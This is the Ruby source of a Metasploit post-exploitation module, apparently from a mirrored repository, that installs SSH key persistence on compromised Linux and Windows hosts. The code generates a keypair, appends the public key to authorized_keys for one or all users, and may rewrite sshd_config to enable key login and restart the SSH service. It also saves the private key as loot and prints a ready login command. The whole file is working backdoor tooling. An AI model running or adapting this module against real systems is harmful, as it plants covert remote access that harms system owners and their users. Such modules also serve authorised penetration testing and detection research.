Files
metasploit-gs/modules/exploits/multi/persistence/sshkey.rb
T
2025-12-15 20:25:10 -05:00

314 lines
12 KiB
Ruby

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'sshkey'
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Post::File
include Msf::Post::Unix
include Msf::Post::Windows::UserProfiles
include Msf::Exploit::EXE
include Msf::Exploit::Local::Persistence
include Msf::Exploit::Deprecated
moved_from 'post/linux/manage/sshkey_persistence'
moved_from 'post/windows/manage/sshkey_persistence'
def initialize(info = {})
super(
update_info(
info,
'Name' => 'SSH Key Persistence',
'Description' => %q{
This module will add an SSH key to a specified user (or all), to allow
remote login via SSH at any time. No payload is required for this module to work.
If an SSH key is not provided, a new 4096 bit RSA keypair will be generated.
The private key will be stored as loot for later use.
},
'License' => MSF_LICENSE,
'Author' => [
'h00die <mike@shorebreaksecurity.com>', # linux
'Dean Welch <dean_welch[at]rapid7.com>' # windows
],
'Platform' => %w[linux win],
'Arch' => ARCH_ALL, # doesn't matter because we don't use the payload
'SessionTypes' => [ 'meterpreter', 'shell' ],
'References' => [
['ATT&CK', Mitre::Attack::Technique::T1098_004_SSH_AUTHORIZED_KEYS],
['URL', 'https://learn.microsoft.com/en-us/windows-server/administration/openssh/openssh_keymanagement'],
['URL', 'https://learn.microsoft.com/en-us/windows-server/administration/openssh/openssh_install_firstuse?tabs=gui&pivots=windows-10'],
],
'Targets' => [
[ 'Automatic', {} ]
],
'DefaultTarget' => 0,
'Stance' => Msf::Exploit::Stance::Aggressive,
'Passive' => false,
'DefaultOptions' => {
'DisablePayloadHandler' => true # since this is non-traditional persistence in that it isn't traditional event driven
},
'DisclosureDate' => '1995-07-01', # ssh first release
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [EVENT_DEPENDENT],
'SideEffects' => [CONFIG_CHANGES]
}
)
)
register_options([
OptString.new('USERNAME', [false, 'User to add SSH key to (Default: all users on box)' ]),
OptPath.new('PUBKEY', [false, 'Public Key File to use. (Default: Create a new one)' ]),
OptString.new('SSHD_CONFIG', [false, 'sshd_config file']),
OptBool.new('CREATESSHFOLDER', [true, 'If no .ssh folder is found, create it for a user', false ])
])
deregister_options('WritableDir')
end
def check
return CheckCode::Safe('sshd_config file not found') unless file?(sshd_config_file)
enabled = pubkey_enbled?
if enabled.nil?
print_warning('Unable to determine if PubkeyAuthentication is enabled due to permission issues')
elsif enabled == false
return CheckCode::Safe("PubkeyAuthentication disabled in sshd_config and can't be enabled")
end
print_warning("Only administrator exploitation is possible due to sshd running as #{windows_service_owner}") if session.platform == 'windows' && windows_service_owner == 'LocalSystem'
CheckCode::Appears('Likely vulnerable')
end
def sshd_config_file
return datastore['SSHD_CONFIG'] if !datastore['SSHD_CONFIG'].nil? && datastore['SSHD_CONFIG'].empty?
if session.platform == 'windows'
'C:\ProgramData\ssh\sshd_config'
else # assume *nix
'/etc/ssh/sshd_config'
end
end
def set_pub_key_file_permissions(file)
if session.platform == 'windows'
cmd_exec("icacls #{file} /inheritance:r")
cmd_exec("icacls #{file} /grant SYSTEM:(F)")
cmd_exec("icacls #{file} /grant BUILTIN\\Administrators:(F)")
else
chmod(file, 0o600)
end
end
def windows_service_owner
service_info = cmd_exec('sc qc sshd')
/SERVICE_START_NAME\s+: (?<owner>.+)/ =~ service_info
owner
end
def write_key(paths, auth_key_file, sep)
if datastore['PUBKEY'].nil?
key = SSHKey.generate(bits: 4096) # https://github.com/bensie/sshkey/issues/41
our_pub_key = key.ssh_public_key
private_key_path = store_loot('id_rsa', 'text/plain', session, key.private_key, 'ssh_id_rsa', 'OpenSSH Private Key File')
print_good("Storing new private key as #{private_key_path}")
else
our_pub_key = ::File.read(datastore['PUBKEY'])
end
paths.each do |path|
path.chomp!
authorized_keys = "#{path}#{sep}#{auth_key_file}"
# make a backup of the authorized_keys file so we can add it to the restore rc
auth_keys_backup = read_file(authorized_keys)
loot_path = store_loot('authorized_keys', 'text/plain', session, auth_keys_backup, 'authorized_keys', 'SSH Authorized Keys File')
@clean_up_rc << "upload #{loot_path} #{authorized_keys}\n"
# start exploiting
print_status("Adding key to #{authorized_keys}")
append_file(authorized_keys, "\n#{our_pub_key}")
if session.platform != 'windows' && !writable?(authorized_keys)
chmod(authorized_keys, 0o700)
end
set_pub_key_file_permissions(authorized_keys)
print_good "Persistence installed! Call a shell using 'ssh -i #{private_key_path} <username>@#{session.session_host}'"
print_good 'use auxiliary/scanner/ssh/ssh_login'
print_good " run KEY_PATH=#{private_key_path} RHOSTS=#{session.session_host} USERNAME=<username>"
next unless datastore['PUBKEY'].nil?
path_array = path.split(sep)
path_array.pop
user = path_array.pop
credential_data = {
origin_type: :session,
session_id: session.db_record.id,
post_reference_name: refname,
private_type: :ssh_key,
private_data: key.private_key.to_s,
username: user,
workspace_id: myworkspace_id
}
create_credential(credential_data)
end
end
def pubkey_enbled?
print_status('Checking SSH Permissions')
if session.platform != 'windows' && !readable?(sshd_config_file)
return nil
end
sshd_config = read_file(sshd_config_file)
return nil if sshd_config.nil? || sshd_config.empty? # should catch permission errors
/^PubkeyAuthentication\s+(?<pub_key>yes|no)/ =~ sshd_config
if pub_key && pub_key == 'no'
print_error('Pubkey Authentication disabled')
enable_pub_key_auth(sshd_config_file)
if read_file(sshd_config_file) == sshd_config
print_bad('Unable to reconfigure sshd_config to enable PubkeyAuthentication')
return false
end
elsif pub_key
vprint_good("Pubkey set to #{pub_key}")
end
true
end
def enable_pub_key_auth(sshd_config)
vprint_status('Attempting to enable pubkey authentication in sshd_config')
sshd_config = sshd_config.sub(/^.*(PubkeyAuthentication).*$/, 'PubkeyAuthentication yes')
write_file(sshd_config_file, sshd_config)
if session.platform == 'windows'
cmd_exec('net stop "OpenSSH SSH Server"')
cmd_exec('net start "OpenSSH SSH Server"')
end
end
def authorized_keys_file
print_status('Determining authroized_keys file')
if session.platform != 'windows' && !readable?(sshd_config_file)
return nil
end
sshd_config = read_file(sshd_config_file)
return false if sshd_config.nil? || sshd_config.empty? # should catch permission errors
%r{^AuthorizedKeysFile\s+(?<auth_key_file>[\w%/.]+)} =~ sshd_config
if auth_key_file
auth_key_file = auth_key_file.gsub('%h', '')
auth_key_file = auth_key_file.gsub('%%', '%')
if auth_key_file.start_with? '/'
auth_key_file = auth_key_file[1..]
end
else
auth_key_file = ".ssh#{sep}authorized_keys"
end
print_status("Authorized Keys File: #{auth_key_file}")
auth_key_file
end
def sep
if session.type == 'meterpreter'
return session.fs.file.separator
elsif session.platform == 'windows'
return '\\'
end
return '/'
end
def find_user_folders(auth_key_folder)
paths = []
# all users
if datastore['USERNAME'].nil?
if session.platform == 'windows'
paths = grab_user_profiles.map { |d| "#{d['ProfileDir']}#{sep}#{auth_key_folder}" }
else # assume *nix
paths = enum_user_directories.map { |d| "#{d}#{sep}#{auth_key_folder}" }
end
# admin user
elsif ['root', 'administrator', 'admin'].include?(datastore['USERNAME'].downcase)
if session.platform == 'windows'
paths = ['C:\ProgramData\ssh\administrators_authorized_keys']
else # assume *nix
paths = ["/#{datastore['USERNAME']}/#{auth_key_folder}"]
end
# specific user
elsif session.platform == 'windows'
user_profile = grab_user_profiles.find { |profile| profile['UserName'] == datastore['USERNAME'] }
if user_profile
paths = ["#{user_profile['ProfileDir']}#{sep}#{auth_key_folder}"]
else
print_error("User #{datastore['USERNAME']} not found")
end
else # assume *nix
user_profile = enum_user_directories.find { |profile| profile.split(sep)[1] == datastore['USERNAME'] }
if user_profile
paths = ["#{user_profile['ProfileDir']}#{sep}#{auth_key_folder}"]
else
print_error("User #{datastore['USERNAME']} not found")
end
end
paths
end
def install_persistence
if session.platform == 'windows' && windows_service_owner == 'LocalSystem' && !['root', 'administrator', 'admin'].include?(datastore['USERNAME'].downcase)
fail_with(Failure::BadConfig, "Only administrator exploitation is possible due to sshd running as #{windows_service_owner}. Try: set USERNAME administrator")
end
auth_key_file = authorized_keys_file
unless auth_key_file
print_warning('Unable to determine authorized_keys file due to permission issues, using default .ssh/authorized_keys')
auth_key_file = ".ssh#{sep}authorized_keys"
end
# ironically windows default ssh config file has .ssh/authorized_keys so we can't trust the windows sep here
auth_key_folder = auth_key_file.split(%r{[/\\]+}).reject(&:empty?)[0...-1].join(sep)
auth_key_file = auth_key_file.split(%r{[/\\]+}).reject(&:empty?).last
home_folders = find_user_folders(auth_key_folder)
vprint_status("Found #{home_folders.length} potential user folders")
# double check all the folders and files exist that we need
home_folders = home_folders.select do |d|
authorized_keys_path = "#{d}#{sep}#{auth_key_file.split(sep).last}"
d_exists = directory?(d)
if !d_exists && !datastore['CREATESSHFOLDER']
print_warning("No .ssh folder found for #{d}, skipping...")
false
elsif !d_exists
if session.platform == 'windows'
session.fs.dir.mkdir(d)
else
cmd_exec("mkdir -m 700 -p #{d}")
end
end
f_exists = file?(authorized_keys_path)
if !f_exists && !datastore['CREATESSHFOLDER']
print_warning("No #{authorized_keys_path} file found, skipping...")
next false
elsif !f_exists
write_file(authorized_keys_path, '')
set_pub_key_file_permissions(authorized_keys_path)
end
true
end
vprint_status("Found #{home_folders.length} confirmed user folders")
if home_folders.nil? || home_folders.empty?
fail_with(Failure::NotFound, "No users found with a #{auth_key_file} directory. Try setting CREATESSHFOLDER to true.")
end
write_key(home_folders, auth_key_file, sep)
end
end